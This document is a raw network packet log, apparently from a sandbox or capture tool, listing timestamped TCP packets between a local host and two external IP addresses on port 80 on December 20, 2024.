Dec 20, 2024 07:12:47.746661901 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.746772051 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.746788979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.746799946 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.746997118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.747539043 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.747605085 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.747644901 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.747697115 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.748564959 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.748663902 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.748717070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.749589920 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.749694109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.749697924 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.749752045 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.750648975 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.750725031 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.750752926 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.751372099 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.751677990 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.751785994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.751812935 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.752269983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.752712011 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.752763987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.752803087 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.752906084 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.753742933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.753838062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.753856897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.753988028 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.754793882 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.754870892 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.754909039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.755059958 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.755824089 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.755912066 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.755944014 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.756028891 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.756871939 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.756989956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.757008076 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.757539988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.757886887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.758002996 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.758944988 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.758971930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.759030104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.759334087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.759985924 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.760066986 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.760107994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.760221004 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.760972977 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.761039972 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.761056900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.761064053 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.761121988 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.761147976 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.761204004 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.761456966 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.761594057 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.761630058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.761753082 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.761898994 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.762047052 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.762142897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.762305021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.762681961 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.762793064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.762872934 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.763083935 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.763219118 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.763705015 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.763727903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.763792992 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.764152050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.764178991 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.764244080 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.764322996 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.764697075 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.764811039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.765161991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.765223980 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.765225887 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.765250921 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.765526056 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.765733004 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.765863895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.765933037 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.766201973 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.766283035 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.766300917 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.766359091 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.766761065 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.766880989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.766937971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.767226934 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.767399073 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.767416000 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.767529964 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.767771006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.767883062 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.768049002 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.768261909 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.768383980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.768445969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.768789053 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.768893003 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.769296885 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.769356966 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.769361973 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.769413948 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.769536018 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.769794941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.769918919 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.769993067 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.770356894 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.770446062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.770466089 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.770628929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.770838022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.771001101 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.771261930 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.771365881 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.771516085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.771523952 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.771579981 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.771842957 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.771934032 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.772007942 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.772399902 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.772464037 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.772475958 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.772536039 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.772860050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.772945881 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.773005009 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.773449898 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.773493052 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.773519993 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.773583889 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.773894072 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.774014950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.774544954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.774733067 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.774787903 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.774791002 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.774893045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.774990082 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.775520086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.775598049 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.775604010 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.775654078 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.775747061 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.775901079 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.776015997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.776066065 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.776559114 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.776665926 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.776777983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.776932955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.777040005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.777221918 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.777570009 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.777631044 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.777954102 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.778050900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.778100014 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.779006004 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.779092073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.779200077 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.780008078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.780107975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.780229092 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.781022072 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.781064034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.781233072 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.782047033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.782152891 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.782202959 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.783066988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.783159018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.783286095 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.909864902 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.910000086 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.910228968 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.910356045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.910398006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.910693884 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.911389112 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.911489010 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.911581993 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.912391901 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.912502050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.913431883 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.913486958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.913511992 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.913726091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.914438009 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.914582968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.915101051 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.915472984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.915537119 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.915550947 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.915605068 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.915607929 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.915611029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.915656090 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.916028976 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.916095018 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.916249037 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.916361094 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.916393042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.916434050 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.916502953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.916515112 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.916583061 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.917277098 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.917376041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.917380095 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.917481899 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.917509079 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.917521954 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.917596102 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.918318033 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.918425083 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.918437958 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.918545961 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.918556929 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.918574095 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.918776035 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.919346094 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.919440985 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.919480085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.919570923 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.919581890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.919585943 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.919657946 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.920392990 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.920495033 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.920589924 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.920602083 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.920617104 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.920804977 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.921432972 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.921540022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.921545982 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.921580076 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.921591997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.921644926 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.921647072 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.922462940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.922554970 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.922605038 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.922616005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.922641993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.922688961 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.922691107 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.923502922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.923557997 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.923626900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.923636913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.923690081 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.923717022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.923808098 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.924540043 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.924602032 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.924644947 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.924655914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.924761057 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.924787045 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.925050974 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.925606012 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.925694942 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.925708055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.925770998 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.925796986 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.926103115 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.926639080 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.926681042 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.926695108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.926743984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.926768064 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.927654982 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.927709103 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.927711964 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.927715063 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.927721977 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.927750111 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.927781105 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.928690910 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.928745031 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.928756952 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.928757906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.928760052 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.928827047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.928855896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.929714918 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.929743052 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.929781914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.929792881 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.929809093 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.929883957 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.929905891 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.930279970 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.930753946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.930811882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.930824041 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.930864096 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.930866003 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.930905104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.931005001 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.931773901 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.931834936 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.931845903 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.931893110 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.931895971 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.931929111 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.932306051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.932789087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.932859898 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.932871103 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.932933092 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.932960033 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.932961941 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.933118105 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.933811903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.933896065 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.933907986 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.933950901 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.933954000 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.933989048 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.934027910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.934838057 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.934922934 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.934933901 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.934957027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.934983969 CET	49862	80	192.168.2.4	147.45.113.159
